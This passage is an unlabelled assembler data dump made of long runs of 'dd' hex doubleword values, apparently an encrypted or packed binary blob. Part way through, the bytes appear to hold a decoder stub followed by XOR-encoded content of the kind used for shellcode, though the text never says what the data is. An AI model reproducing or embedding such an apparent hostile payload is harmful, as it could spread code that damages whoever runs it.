0ACE37A62h, 185A2B4Fh dd 0E354D818h, 14D1F972h, 29BA1313h, 5916B748h, 0EC1E1AAFh dd 8134CB8Eh, 85215F18h, 0E252CCC8h, 5391E1D8h, 0AC34868Ch dd 8FD5AD75h, 0E28D911h, 2F0A3936h, 468ADB64h, 0D49F1877h dd 8A71B035h, 95FA626Eh, 5BFC05FBh, 35D6DD58h, 0D56A1BBCh dd 0BA7A8B9Bh, 1B7B3108h, 0EA39FBB2h, 0AAE3BA12h, 74B0BFF9h dd 0DE733667h, 0ED44FE73h, 0C169C841h, 9EB14004h, 4B588081h dd 0C54B45D4h, 0E836CD05h, 44F22F21h, 9C7E2550h, 6F588958h dd 908F2B34h, 994275F4h, 917AB750h, 0DBA08371h, 516B5C02h dd 1685F353h, 0E640B716h, 1B0CD79Dh, 0E8855899h, 840314D3h dd 0A978B053h, 0C607CFE8h, 45079835h, 37A8698Bh, 0AB3332D8h dd 2BE2AFF0h, 8C8E8F19h, 4A178469h, 8F65ED31h, 0B4F174BFh dd 378831FBh, 5495B64Bh, 595E630Ah, 0F2833E68h, 0D1FAAF06h dd 0B14677F7h, 76EA8DA1h, 4F8225CBh, 24F44DFAh, 0C9E3EC35h dd 0A5124204h, 0ADC60E0Fh, 0F8F2B960h, 276E3C5Dh, 0CCD4F188h dd 0DF266E28h, 0B1AFC421h, 0B3A2FCFEh, 74191376h, 606B0CEBh dd 0ADFADC8h, 2F6B3B4Ah, 5C2CCFB0h, 60707DC7h, 0F1FF7DE3h dd 0F50EA7C8h, 0E7D04E0Fh, 644B8162h, 16E1495Ch, 1D1AC576h dd 98CA9740h, 77D02F47h, 0B06494CBh, 0F4078D9h, 0F19F42B0h dd 0C1E4CFF2h, 0EB68D647h, 0AFC7BA74h, 5A9F567Bh, 0DD19E297h dd 5B70FEFFh, 0BE2AA7F1h, 0FE22FBD2h, 0B4AEAF12h, 9218B367h dd 0DC907E52h, 6E912383h, 35103D93h, 40207049h, 0D60F349Bh dd 44040621h, 0B19FFEDFh, 0F144BE64h, 647DB578h, 126B239Dh dd 0F48D7CCAh, 0CE2D4AD7h, 9EA69174h, 0F46F88CEh, 0A3212CD8h dd 17131D8h, 36ED5049h, 73BC637Fh, 7204D405h, 0AE70409h dd 16A747DAh, 9086EE94h, 0EC87A4F9h, 0E2B2709h, 28C6412Ah dd 59BE588Dh, 0CE5FBAD2h, 0CAE935D1h, 0CE9BFE07h, 0E58D56CEh dd 848ECFFAh, 0FC403FFFh, 0B0C7C233h, 4323E3E9h, 74C6F94Ah dd 8094BEF7h, 0C4220928h, 22BEF61Fh, 138A64Fh, 6A006B23h dd 0FAB71623h, 55E80945h, 5DD5A183h, 0CF1AE5A1h, 977B991Bh dd 51D8A1D9h, 0F62134DDh, 0B049BA1Ah, 53A33A7Fh, 846D0667h dd 783B72DFh, 0E8625A83h, 0C36F7CF4h, 83A1E53Fh, 0DA5D2D28h dd 8F32B392h, 102EBDABh, 0E3D7977Eh, 70FBA2F7h, 4FFD00EDh dd 0FF7F97BFh, 780AFC14h, 0EB1E0AAEh, 3015C618h, 0E133AB6Ah dd 45A3EAA4h, 211B4ADEh, 0CE11F270h, 78F7ADC4h, 34FEA2ABh dd 1FDA7413h, 8CCFC617h, 291EAEE0h, 222745DDh, 0F39E5829h dd 0EFB2C461h, 0F21FBCF3h, 31E230CEh, 943B5B54h, 7C46EF3Fh dd 0EFE5FA6h, 5B994FEAh, 3DB087A8h, 8088FD43h, 0D0FFBF37h dd 8ADA8B85h, 7530DD03h, 0E05CC639h, 2ADA868h, 0BD0ABF93h dd 0ED611080h, 0D64E9F21h, 0E3895F97h, 2F098817h, 0DA7C14E9h dd 36E14E13h, 2E17D663h, 17FB70EBh, 71BDA50Ch, 53FA8316h dd 43C4B7A3h, 34E8E3B8h, 121E30D1h, 0CF65C81Ch, 2E9B693Fh dd 71F14D08h, 904495C4h, 5EF1B9C5h, 88855CC0h, 0A5928CFBh dd 0E9F45750h, 0FDB327D3h, 87DC4A4Fh, 0C9DC695Fh, 10A2064Fh dd 60252C8Ch, 0F1DC2DCDh, 24368B52h, 1800AAEAh, 0A57CD81Ch dd 523E4658h, 516873F2h, 8CC25D8Ah, 791D97B0h, 4EAB6339h dd 379830Dh, 0A62CC4D3h, 1D7A828Eh, 0CD6D02D5h, 20F89955h dd 0A46EC6AAh, 0C455B22Ah, 11782D5Ch, 0A79471FBh, 3AE45CCEh dd 2BE376DEh, 130EB3D2h, 0BB9E23B2h, 4AD2C81h, 8690B826h dd 64EB517Dh, 21925532h, 124F1C68h, 0C233AD7Dh, 0AB8496E8h dd 94495384h, 0D524C18Eh, 8B019B54h, 6813984Fh, 0F217332Ch dd 0AFD2B03Fh, 48090FEDh, 346E2377h, 0DBA27472h, 8764F889h dd 6550F505h, 0AA5D3ED9h dd 4847FCC5h, 0E8CDCA97h, 0ADB1E92h, 80451E85h, 0E2178FA1h dd 5136DB4h, 35E4BD89h, 1F81C296h, 71147437h, 9EC09C19h dd 0B140E2B1h, 618421F0h, 7EEC4ADDh, 0FACF31C4h, 0C64DF00Fh dd 0D6A7DC44h, 0CEE4758Ah, 62798CF9h, 0AA0EA062h, 140245DEh dd 75AC71EDh, 2F72FF43h, 53EC9A87h, 8A975A1Fh, 89350055h dd 63F6F9C8h, 0A0088293h, 0ED5714BFh, 820F2A15h, 0E94A7BF2h dd 494C2DABh, 218F1958h, 5E47B1F0h, 2C3BB342h, 93D3D75Eh dd 0A453DB47h, 0C64E777Fh, 0DD1DE190h, 0F9A98337h, 63A466E9h dd 781A845Fh, 0D49644BDh, 1A45462Fh, 0CE17E9C6h, 0AE4933Ah dd 0F5674648h, 38A8F358h, 6E6F46A2h, 26D82CE4h, 98463091h dd 0E40AD111h, 607C16DFh, 0DC875049h, 0B5867F7Eh, 1310D415h dd 15DAA5B6h, 0FC82EB73h, 9F4246DFh, 0CA57FD85h, 0AA77F638h dd 8E4E353Dh, 2B10BECFh, 449B084Ah, 7CC1992h, 55EB1A2Dh dd 0A0C7902Bh, 986DEA51h, 464BDC37h, 29C7148Eh, 0E16F4710h dd 0D61E2834h, 343EF8A7h, 0C0DF82B3h, 0A65D8227h, 3A47556Dh dd 28B15CE5h, 630DFC4h, 0ADA8254Eh, 8F620C86h, 0D77EFC27h dd 71C28E30h, 0A2ED7C8Ch, 9C07DD19h, 1246FB49h, 0FA8F4A18h dd 0C95B655Bh, 0B49E410Fh, 0E123ED75h, 0E34546D4h, 82CBBE32h dd 79F69DAh, 438AFE3h, 843F0A97h, 0C94B6B8Bh, 5E266C29h dd 0AAEC3028h, 2F0F4AFCh, 0E224F112h, 945DA5E7h, 5FCED64Fh dd 5038251h, 7B0DEAB7h, 0E3E9F06Ah, 7976E2D6h, 0C6D3C268h dd 86A8B106h, 9C288F7Fh, 8726AB41h, 9F84CF01h, 8879A213h dd 0A66C54Eh, 0C438A174h, 86D6DB99h, 1776262Eh, 0A2CCC15Fh dd 0FA233984h, 0F3F5FE60h, 0BF7A4A3Fh, 679CD13Eh, 6524A968h dd 8C9506F0h, 3CA28190h, 38A550D8h, 0D93A9313h, 0C5065672h dd 7D9DCB49h, 0FDA6FBA4h, 33C36A34h, 0C9863CF0h, 0E6A0A935h dd 49E9773Fh, 0CC8823BCh, 839A1C2Ah, 0C09A95Eh, 0D06508ACh dd 5C2ADD76h, 0BCBF86Eh, 0CE1AD270h, 9935C46Ah, 379F5EF4h dd 7B2BF780h, 0F8BC58EDh, 0CAAF45F0h, 991D7553h, 8C001Dh dd 0F3B2B673h, 5266A84Fh, 5CEAA406h, 0C78F56DEh, 0D647EDADh dd 4F08850Dh, 0D7D0A139h, 0F97A343Ah, 7FEA904Dh, 0EE830BD9h dd 3E6290EAh, 0B765D092h, 0DC7E29D7h, 983E3C21h, 33A32FEBh dd 81B088EEh, 85200182h, 0E9CA0E37h, 98B36534h, 6C7832E0h dd 0D3297C72h, 0BD51C973h, 0C7F29620h, 0A15DE4A8h, 835CC98Ah dd 9A6FC8AAh, 12D2D01Bh, 0ECA6A4B4h, 0DF5A0046h, 6118387Fh dd 5B2AAAAFh, 99D5621Ah, 8402DFA6h, 0F0AB4B0Fh, 0D77C7A43h dd 8C3A474Fh, 0F3A62C94h, 0F6310360h, 2B89E1Dh, 212EF5ACh dd 9B5F1609h, 43B8BA6Ch, 0A3B7FF0h, 839D0CC9h, 0E754ECD3h dd 8C2985E0h, 0EE3274D0h, 0DE6272EDh, 0A561D152h, 0CEA3E2AFh dd 7B0A8624h, 4B99A6B4h, 8B717A1Ch, 26ED186Dh, 0CA39AF20h dd 50CA521Ah, 79DE5083h, 72B48559h, 4CCE8144h, 0F34016A0h dd 0E1539442h, 6F7486C4h, 0B766B030h, 1ADA448Eh, 0F8DF79C0h dd 0EF828120h, 7ED1F46Ch, 8B77A077h, 58119D4Dh, 6CD30D2Fh dd 70CA61D7h, 129EFh, 0EB802BEDh, 7FF4B106h, 0F39F16CFh dd 0F56CBC79h, 791D4343h, 70541885h, 934D0082h, 2731E956h dd 406F8201h, 73FE1A61h, 0B43F48D7h, 0B8DB7567h, 0F4594A0Bh dd 0B6727AAAh, 0D63FC049h, 19CC856h, 4D0339ACh, 280D01A5h dd 715A8908h, 469DE5A0h, 0E61F5A3Fh, 19BD38C3h, 344DE17Dh dd 0F4ADF872h, 0EA82B25Fh, 8E2E5490h, 66406C40h, 88EB3B5h dd 10D3A43Fh, 0DBA47C06h, 2E06571Bh, 60856CEBh, 90599F6h dd 0E8D7797Fh, 26F01659h, 0DD540610h, 12AF3C8Eh, 0EAC8BD67h dd 489E6F6Ah, 1F6AF16Bh, 50AB85F2h, 0B7CA3FE9h, 764E19BDh dd 0E4A857CAh, 9B6D8565h, 0F2EFC30Ch, 0AC4D63AEh, 0B6CB8E66h dd 0FF82874Ah, 662DDD7Dh, 535B86F2h, 0A2994392h, 6B7EF5A8h dd 52FDA1DDh, 19DD5690h, 0E9B98838h, 1AB16D8Eh, 8074904Fh dd 0AB9D4FA4h, 0A965FDBAh, 0E40B06D3h, 0F3B6A51Fh, 9CA84D95h dd 3C250528h, 46C63B6Fh, 0E531C350h, 3BFC7531h, 723AB421h dd 41430C2h, 1E06090Eh, 0C965894Ah, 0CFDC09h, 58EF533Fh dd 0A6D5F2B6h, 4983DBBBh, 0C655F4D4h, 8E81216Bh, 5B8958Ch dd 22AAAA72h, 80C615D1h, 58D906F1h, 0AA37CEAFh, 0D14AD342h dd 44C8EC30h, 4639B078h, 0E5ABD5C4h, 0E08DBB5Bh, 0DA653h dd 0B2CD00C4h, 0F71A45C4h, 98584476h, 0E8C857Ah, 8A5AA5B1h dd 0F910846Ah, 0F9A84A1Ch, 0F3F8F329h, 33EB2B24h, 39E3A6F1h dd 0AD06906Fh, 196A99E4h, 7CA8471Bh, 0DD250D2Ch, 0CB1B3F6Bh dd 0C456EFFCh, 7AC60296h, 65365847h, 8F35FF5Ch, 7E05DCA7h dd 128C10E2h, 332EAB2h, 6B9F5826h, 46F74Ch, 5FE0CA8Fh dd 3D63A315h, 45ADF8F7h, 18C04504h, 0D95CE54h, 9A8C1EE5h dd 9416E48Fh, 0A06666D3h, 0A07C3FF6h, 67185C31h, 3E102A92h dd 0C54AC564h, 793AFC87h, 512FE5BCh, 0AFD3B1FCh, 0B201DDFEh dd 60E8A825h, 0C7E05E9Bh, 9EB30C29h, 56B5E94h, 6C299A47h dd 0BECE5A4h, 0D6B80DC6h, 0C036824Bh, 401911BCh, 0DCA31567h dd 3C8D4819h, 0B0C66F83h, 366CA224h, 72552300h, 26C29DB4h dd 0C77CE718h, 38E3B64Eh, 400BC653h, 6A2CD587h, 6F32EEADh dd 3AF3AA62h, 0FCC02F59h, 66B778C6h, 0B29D70CBh, 6EB7EF16h dd 0C6944B94h, 8E77F630h, 0FD8432Ch, 7147E178h, 3711477Bh dd 0CC4827EDh, 0F5AC5618h, 15AD703Bh, 2A33A156h, 837B3311h dd 6234ED6Ah, 0FD8B62EEh, 956DA3D5h, 0FFAAF49h, 44B56433h dd 23B01771h, 0FDF9253h, 0F1BF7844h, 899F19E6h, 5688B078h dd 41D5CA20h, 9D5D36E8h, 8E8E885Fh, 2D0F0CDAh, 54199777h dd 0E14FBFBCh, 40C0840Ah, 0B9EF22C7h, 65174D83h, 0DB3A09D7h dd 47CE356Eh, 15B166CAh, 6CB4825Eh, 5117DD8Eh, 767E1B90h dd 0EEB0735Fh, 88BF67A2h, 0C26365B4h, 0B9EA070Dh, 0DD9665CDh dd 0B743D5BDh, 0F52B9D99h, 1BC7A9BFh, 87608672h, 1C56A945h dd 821B22E8h, 0D34C0CD8h, 99508D76h, 9E7C30C8h, 0E3F0BE4Ch dd 0DCDE10B4h, 9D843334h, 0EDA129F4h, 6C455E2Dh, 0BD8A569Eh dd 0A290EC83h, 847FD8EEh, 3FF42E0Eh, 0E7B965EBh, 0D44B21A4h dd 0D4A58448h, 2312CE54h, 0B4CB0605h, 0DB5055DAh, 9411471Bh dd 0C36C04EBh, 7DABE470h, 7D51D663h, 54151495h, 31C19942h dd 0EE638978h, 0D6BA7243h, 0CBF0BF46h, 0CA4672BDh, 1B0EE455h dd 408A430Ch, 0FE4F1415h, 7CE6881Fh, 0E81EAE8Bh, 0A2420096h dd 0B009CDABh, 0C344B6FEh, 0BF77477Ch, 926413C9h, 9C762FC7h dd 0BF8D8307h, 0F9BB7388h, 1DC69728h, 808A8F46h, 0ED4522E0h dd 570C22Eh, 32D80EA2h, 5FE32BFCh, 0C346F48Ch, 0CE4C0B17h dd 28F24A16h, 0A833E896h, 0D49464E8h, 0B28E6710h, 0DE144A78h dd 66E9B5A8h, 9512FEA4h, 62CA06DDh, 35E56BCBh, 0E58E8925h dd 38F69D27h, 3BF8BD71h, 0A440DA7Fh, 4BACE2F4h, 55E5B37Dh dd 8B09E5BAh, 0F8F69263h, 4DD09E33h, 0B377B4A9h, 677D4308h dd 0A858FA2h, 8E5A08D9h, 2DE124CAh, 5D0BD583h, 32685E94h dd 0B876A314h, 88378EAAh, 1D14338Ah, 0A8659030h, 0DF693706h dd 0A07D1Dh, 27C6D88Eh, 0D17DF339h, 4F2BCD19h, 0B74705CDh dd 0D59A41E0h, 2EFF6539h, 928C4E8Ch, 0AA77B780h, 4E113204h dd 0CC4C632Ch, 0CA90B6F2h, 8A5616D1h, 0D04B26ECh, 53D92438h dd 1E18625h, 0B6C70975h dd 7CA7EC15h, 98F921C2h, 0C182761Fh, 49E3D4AAh, 0CB5F36C6h dd 0E9E6353Ch, 2DD46774h, 0B6E2DA55h, 80689ED2h, 731EC853h dd 7B9542C7h, 9C41EEB0h, 47CC438Eh, 0BA73CE5Eh, 30982E0Ch dd 7C98E55h, 31FDB645h, 57E8D180h, 0F951C3BEh, 90E96F3Fh dd 39F198CFh, 35E9BD7Fh, 613BDF42h, 894011A1h, 0E3B979B3h dd 0BC5D5793h, 0EEAD0FE3h, 8DA3BF34h, 54E07DA3h, 2793A96Fh dd 6D338945h, 0BF50DCA7h, 32070CF1h, 2AD04742h, 39D167C2h dd 0A7DED474h, 1D9D7A69h, 0F88958h, 0A16424F5h, 0EE8541DFh dd 2D65934Bh, 63E3417Bh, 2D5BEFB7h, 0A70566A7h, 0CA9947C2h dd 3FE46A3Ch, 93430129h, 7F6D45B2h, 0A56CBBE0h, 1879191Eh dd 0D251AF53h, 0D4C21A0Dh, 0A046E89Eh, 0B6157DB1h, 28D829F6h dd 413BE592h, 0B0530287h, 0E94437FCh, 6D45F29h, 0F5E39D90h dd 78E4346Dh, 0E1808FB6h, 420EA922h, 7135DB8Ah, 1048BE9Eh dd 6ED1A8DEh, 7C36EFA2h, 0BB7D2E83h, 4FD3A1Fh, 22FBC36Bh dd 5B09AF77h, 0ABD57E1Fh, 0AC2256B3h, 0C53A04BDh, 0FC072A90h dd 16F3BFFAh, 6FE9B67Dh, 8D9E278Bh, 6EBA1BE7h, 622E1239h dd 0AAAD20EAh, 0CE0599E8h, 0C7601970h, 0E1E76D56h, 2CF6EBEBh dd 0D918F610h, 739C6731h, 0C97AD5B8h, 886BEF4Eh, 80B6E8F8h dd 67F4748Fh, 0EBB44AB1h, 6D458109h, 0FC5E2AF0h, 27FB800Bh dd 149CDC70h, 0AD1338EFh, 77BB9BBFh, 0FA17268Ch, 884D9A5Fh dd 7C482E05h, 0A37745EAh, 7D06EFB4h, 0C8230BABh, 0D786994Eh dd 1EF5F5C9h, 0F99630C4h, 41FD401Bh, 0D61E524Eh, 3C5C10CAh dd 87410523h, 147CC275h, 7F423AD1h, 996DCDB7h, 0D0977337h dd 6A1C7C2Eh, 0A4942D7Ch, 0DA209E70h, 782F183Dh, 2C1B55C5h dd 5F85F280h, 0CA5A212Dh, 655EC13Ah, 671EE84Bh, 0DD523383h dd 8AE931DFh, 0BA0030A2h, 5DD413DFh, 91648E9Dh, 0AB740168h dd 55E54C42h, 99426397h, 22C107D0h, 66DF22FEh, 0BEE27D3Dh dd 69328B62h, 0B67F88A9h, 84A424EDh, 0FBBBE45Dh, 1E570091h dd 50921C5Ch, 3F3D7FF2h, 8A53DEA6h, 0FB319161h, 0B0A16A33h dd 0B585AE7Fh, 22AC7CACh, 0FEC88A13h, 0B1FAAB02h, 68C942E1h dd 7104DA60h, 0B942CB57h, 55C42EF0h, 579B5B94h, 514F8A4Eh dd 5102CB94h, 0BD864F98h, 31FA939Ch, 45E06068h, 3D8B4B64h dd 76BF68CDh, 9B1612A4h, 0DFE9A9C2h, 7039D243h, 10D144AEh dd 0CACB07D7h, 0E1AAC30Eh, 27EC4F18h, 2304A1A1h, 827E480Ah dd 65357E2Fh, 8D5ED753h, 24249264h, 0C797D069h, 7BD451F1h dd 0A52C6032h, 14DD2653h, 58D1824Bh, 0A784569Fh, 4BEE5A6Eh dd 5D995992h, 175F9591h, 0B67FDE47h, 0CE3A8E87h, 0B181AA73h dd 712A3B07h, 9B1A5628h, 0E24FA526h, 9760C980h, 0C00180CEh dd 0EE2B226Ch, 4C9297AEh, 961EDF4Eh, 78BC51C4h, 0AA733C2Dh dd 0F972DBE1h, 699F95D8h, 0A5E45133h, 35567BBEh, 0F1BA83ACh dd 2CBA2EA1h, 0CFC5E9F6h, 0B2D4AE37h, 541A0271h, 0E5308D14h dd 55A9EA63h, 0DA3A03CCh, 0FE3785B8h, 5197AB0Ah, 0C95EFFC5h dd 9127F730h, 9A03BCB1h, 0F62F79D8h, 5474EDADh, 0EBB44DF4h dd 2C010A2Bh, 60853303h, 0C48D56DFh, 0D07DCDFBh, 2EA4763Fh dd 0C72CF587h, 0E71A1616h, 0AF9E44C5h, 0EB545487h, 0E469FA3Ah dd 0BA96B81Ah, 2309F0B2h, 0D0F64C6Bh, 5BC0A999h, 0C14A9E2h dd 8A4A8E88h, 37112A04h, 92A81502h, 0DA372072h, 4EBC7A58h dd 342761EBh, 276153E3h, 4B6A226Ah, 521BE02Bh, 96E8F189h dd 69A97E9Bh, 0E7D89162h, 0ACE2D61Bh, 0F7C089h, 0E8h, 0EB815B00h dd 0FFFFFFD4h, 2464BA53h, 0EFBF0000h, 8A000000h, 0F8316603h dd 4A430386h, 7700FA83h, 0E3FF5BF2h, 4E203FFh, 0C3E57Fh dd 0EF077F00h, 64EFEFEFh, 6F18CBEBh, 0EFEFCBC4h, 6FEFEFEFh dd 0C6437766h, 0B364EFEFh, 0C29BEBCBh, 5F66B613h, 0EFEFC65Fh dd 0C65B5766h, 576FEFEFh, 0EFEFCBC0h, 0ECE29A07h, 0EFCBDF77h dd 0EDB464EFh, 0E704DC10h, 0CBDE7764h, 0DC10EFEFh, 6E7ABAB4h dd 0D8EBCB83h, 6EEFEFEFh, 101FEF0Ch, 0E9026E10h, 64EFAFFFh dd 62EBCB93h, 0AFDBD35Ah, 0EFC756EFh, 4B1CEFEFh, 0BBA1946Eh dd 9A9C8687h, 0D3AC64E2h, 89F7EB62h, 0AABFD76Eh, 46EE79Bh dd 0EFEFEEEFh, 0BF640D9Ah, 643CEC97h, 0A564CF9Dh, 0BE1CECF7h dd 6E2CEC42h, 0A8EF1097h, 0F49A9B8Ah, 0BFEC976Eh, 9A8C809Dh dd 0E8976EFDh, 9D8B8BAEh, 976EE69Ah, 9C9C8AE4h, 0DEA9BEFh dd 2CB2B638h, 64CBE3C6h, 0ECB6CB9Dh, 0EB58E01Ch, 0F39564A1h dd 0DB6414ECh, 71CEC68h, 0EFEFEFE3h, 9C8083ACh, 818EA78Ah dd 0EF8A838Bh, 663910BCh, 0AFDAD36Ah, 0EFE207EFh, 9DACEFEFh dd 8A9B8E8Ah, 818A99AAh, 0BCEFAE9Bh, 6A663910h, 0EFAFDAAFh dd 0EFEFE207h, 9B8AA8EFh, 9B9C8EA3h, 809D9DAAh, 10BCEF9Dh dd 0AB6A6639h, 7EFAFDAh, 0EFEFEF9Fh, 0CE9B2F6Ah, 0AB7A10BFh dd 6AEFAFDAh, 62FF9A2Fh, 0AFFE3D6Ah, 10BF65EFh, 0EFEF8107h dd 109304EFh, 0AFDAD37Ah, 0DE6A18EFh, 0EFEFAFDBh, 9B6FEFEFh dd 0DA5A62F1h, 64EFAFDBh, 4BEBCB93h, 5D72644Ah, 64EFAFD6h dd 0AFD6595Ah, 555264EFh, 0B2EFAFD6h, 0EF85B52Ch, 0EF85EF85h dd 0EE87EF85h, 64EFEBEFh, 0BFEF852Bh, 2B64E385h, 0BBB90D10h dd 0EFEFDCB0h, 350726DCh, 62101010h, 0AFFE4E7Ah, 0BEBEBDEFh dd 0AF7A10BFh, 6CEFAFDAh, 652CCF2Bh, 0CDB0561Dh, 0FFDFEFEFh dd 0D39EDAFh, 48CB2C16h, 1B6A0302h, 0E4C1337h, 3B1F7603h dd 30A7017h, 1B3F0372h, 5FBE567Ch, 322C2307h, 6BDEB2BDh dd 0E28186A8h, 0F97C93F7h, 29D00BD6h, 8CDB355h, 0A2C156E6h dd 5ED5337h, 781A6590h, 0CAEF7344h, 6E37362Eh, 1E421377h dd 3B1F763Ch, 36223A24h, 1B7F763Fh, 3567CD46h, 0A41F2344h dd 7EFB2628h, 333E0367h, 0FFCB9CA8h, 30DFE307h, 4B4567D0h dd 9BD700E4h, 62075367h, 3BAAF342h, 0A2215B57h, 5B1583A7h dd 9E0786C8h, 0FBDA63C7h, 755E7718h, 96A8BC98h, 2B9FD342h dd 42F0A847h, 4B6FB9A3h, 0CBFFEEA6h, 0BEC293F7h, 0BB9FF184h dd 0E9D0D664h, 109F2F64h, 0D807398Bh, 0EE12FA07h, 0CBAF296Ah dd 0A7F42854h, 55DF44BEh, 53087FC0h, 8BAEF314h, 2E6FD698h dd 0AF0CD3B7h, 0F4DFA667h, 0B4911153h, 0DB9594D8h, 2B2792DDh dd 0D35FE303h, 0B2E7397h, 0AEEF5618h, 2B8A5337h, 851A27C8h dd 0CB85CCA8h, 5B7FEBF7h, 0ABA51333h, 6C538B46h, 0E3FFF27Dh dd 1B3E4366h, 5EDF4608h, 0F1772307h, 0B46FB2D7h, 9BCA53B2h dd 2B4A7BB7h, 0EF36E307h, 61D08C69h, 915C9AE7h, 7EF0591Dh dd 7BDF967Bh, 482CC2BCh, 1B4AF31Ah, 2FC01337h, 0C4A09DB0h dd 8BAFF5FFh, 5F6B0D67h, 948F9FBBh, 0BB2AABD2h, 38DA3ED7h dd 0E8FF4330h, 0FBF21E7Eh, 0ADFA332h, 4DC7E09Ch, 18BFC3E5h dd 0AB3AABCAh, 0FF90A3C7h, 3410CD54h, 6EAB062Ch, 0DB301377h dd 0AEDAEC86h, 0AFB324h, 5B0AABE2h, 6AFF2CF7h, 0C8FDA6C8h dd 0CEE4B397h, 0DBBF36FFh, 0A44EE348h, 0FBEC0A82h, 0D7A2F897h dd 78BF83D2h, 0EA7EAC7Eh, 48692648h, 39073317h, 0D6807C5Ah dd 0EBF95D8Ah, 5190E887h, 74760517h, 0FABC4717h, 68CFB9F4h dd 0FB7574BEh, 0FEE2ABBDh, 0DBBF16B8h, 2B4F8F0Eh, 360B6807h dd 0F4D13E93h, 30D93C18h, 0EB4257FAh, 1D9FA3C7h, 0CFA8BEFCh dd 0F79BB10Ch, 502DB851h, 0F53763EDh, 0AFF37Eh, 903F29ABh dd 38FB933h, 0F31F2347h, 193EF3BDh, 24AF0D4Dh, 6B7A7322h dd 7F5CBB07h dd 62E11BD7h, 4F34C3E7h, 2784531Dh, 7BF5E3ADh, 0A1BD313Dh dd 32B1EBA7h, 0ABA51337h, 6BA009D6h, 0BE4B66E8h, 42604327h dd 0EF802C72h, 4E0DE60h, 5B6F065Ah, 0AF460367h, 0A04F93BDh dd 3A7A10E8h, 4B3F737Ah, 0D73A4EE7h, 140F1363h, 9B0A2E27h dd 99EF734Fh, 6EE31658h, 0BD271377h, 775F6387h, 0FEC49C78h dd 724D1317h, 0EE3BA81h, 9A494620h, 0A0AC6BBh, 4E005327h dd 2B0FA6FFh, 8E93668Eh, 5F7F73D7h, 64D5E38Dh, 0DEE3C688h dd 0BB1AA387h, 5DD04608h, 0D2981CDh, 0AAA5C7BCh, 3B4E8BD5h dd 0EEFCF317h, 6E5D2623h, 2FD8390h, 9E734A31h, 1D6FD6B0h dd 0EEB396D8h, 0EFC493F7h, 0EB89B551h, 9ED024C1h, 9BFFF637h dd 0BC1F97F4h, 4EA33638h, 0CB853317h, 0CE8081CDh, 0AB8F2647h dd 3B5E4B3Eh, 6A846417h, 4F1B4FEEh, 0C71A2CA0h, 0C81F6372h dd 77CA3021h, 0DBFF4311h, 0BEB0C4E3h, 0BB9FD6B7h, 575BB312h dd 9F4140A1h, 9FF0BD05h, 7BF5ABE3h, 5E10193Dh, 5B3FB60Fh dd 77BBD3B2h, 3F628B14h, 429CF317h, 220FA0F6h, 2BB9EF72h dd 7A375647h, 4B621D16h, 8BAB5327h, 7B1FC2E1h, 0D34A1C54h dd 8E2F33A2h, 94CB9A27h, 0E32B2788h, 4DA32648h, 67073317h dd 8807C5Ah, 9EF386C8h, 0A3B463C7h, 8A873796h, 0E4684367h dd 2BBAEF62h, 0FACA47h, 2E24C28h, 83A75B27h, 2B665DB7h dd 0BBD28607h, 0B2F7297h, 9BBFC3E7h, 0EB0F5377h, 28C9F2C7h dd 0FEA7A6A8h, 2D483E7h, 0DE0F979Bh, 0F8B1817Ch, 0F8CEB14Bh dd 765E0D02h, 9C0B792h, 8F7C462Dh, 7838EFA4h, 0B2A95C15h dd 2B3AE7C5h, 0C9AB906Bh, 0B4116FBh, 0FADAB1A4h, 82493603h dd 7BDEC6ABh, 0AA8A4114h, 3239E6D3h, 0CA82765Bh, 553613F7h dd 0C8AFB270h, 6F5E2615h, 4FD8392h, 886C4624h, 392CB396h dd 0BE8B6242h, 4422F6E5h, 0D38B8673h, 6F4E16E5h, 0FECD80E7h dd 0BF6A2716h, 1AFAD1AFh, 0B9AC3333h, 3E0BE2C2h, 0C7A07C63h dd 4B3306EFh, 0E5FCC124h, 734C3306h, 2E8FA798h, 0AF6B4A3Fh dd 2A0AC1BFh, 0B2B90343h, 421BF6DBh, 0D48B866Ah, 7F5C0AC4h dd 0F2EBAE82h, 0AC0F361Ah, 12D9D7A2h, 0BFAE563Bh, 3916F1D3h dd 0D8AA6742h, 5E1863C6h, 0E7C6B563h, 61561002h, 0EC8D392h dd 97766533h, 2606E7B2h, 0BEB80342h, 4F20DEC3h, 0F3BA8F72h dd 674B1DF6h, 0DCBF8282h, 8E5B2712h, 12D9D3AAh, 0AAA1563Bh dd 5B3EE6CAh, 0FFBB7670h, 6B2F0EE2h, 0CAC78776h, 6F5A0467h dd 18FDB6A1h, 0FB714C2Eh, 1D1BD690h, 0B28C7142h, 530AFDD8h dd 0D493E346h, 626317F6h, 0E9DEB185h, 0A60F120Eh, 12C9D3A6h dd 0ADA04432h, 3E13EAE1h, 0CEBF5C37h, 573625E9h, 0FBCEBE72h dd 7C512A17h, 1BC0D3B6h, 894F4D22h, 380AD0B8h, 0A9AF0354h dd 582AF0D8h, 0FDEDD074h, 7F5C01FEh, 0F4CD93E7h, 987C3614h dd 1ED191F4h, 98EF472Fh, 3239F7C2h, 0DF8E765Bh, 593611F3h dd 0F8CA8762h, 7E6C4326h, 7E69583h, 96767722h, 273CB3B2h dd 0DB8F6642h, 5F3CEAE4h, 0D28B8E62h, 647B16FAh, 0FED3AAA1h dd 8E623A23h, 16F1F6C7h, 0A2B94336h, 3D30F4C2h, 0CEA37A71h dd 49363587h, 0E7CE8663h, 74532F26h, 19D8D394h, 0BD7A572Eh dd 4B0ADFBEh, 0BFBE7769h, 5F3CE6DDh, 0CDB69157h, 6C4A1FFEh dd 0F4EBB082h, 0EB61361Ch, 9DCD789h, 0AE9B5232h, 3E13EAE1h dd 0E8BB5D37h, 4F3E06F5h, 0E4DDA372h, 684C2604h, 28FB9DF7h dd 8F7E4635h, 241DE3B2h, 0A88C6644h, 654FEBF2h, 0DEADA073h dd 584A07F6h, 0F2CBA082h, 0A50F3D18h, 0BFEEEB3h, 0BC8A5A01h dd 3E2CE5E8h, 0C4A66754h, 4F1163E9h, 0E5CA8358h, 7E532A21h dd 24FB9DF7h, 0AB714637h, 2E0CDCA5h, 0B4AB7054h, 2B21F6DCh dd 0C98F9749h, 684A07F8h, 0E9D69593h, 876E2603h, 14F2C68Ah dd 85EF4A25h, 320DD4D3h, 0C2997643h, 5A2A17F5h, 0E6CABE7Bh dd 1B463108h, 3EE3A7A5h, 947C4A29h, 3F3CD6B3h, 0BC916A55h dd 450EFCE3h, 0CF8C8A74h, 6C411AE5h, 0DAEC94E7h, 996E2724h dd 7BEFD6B3h, 0B8805F34h, 3810F0C2h, 0ABBB765Ch, 55310CE4h dd 8BDB9072h, 734B2600h, 9FBA098h, 967E4D3Eh, 2E1DB3B2h dd 0A8FF7544h, 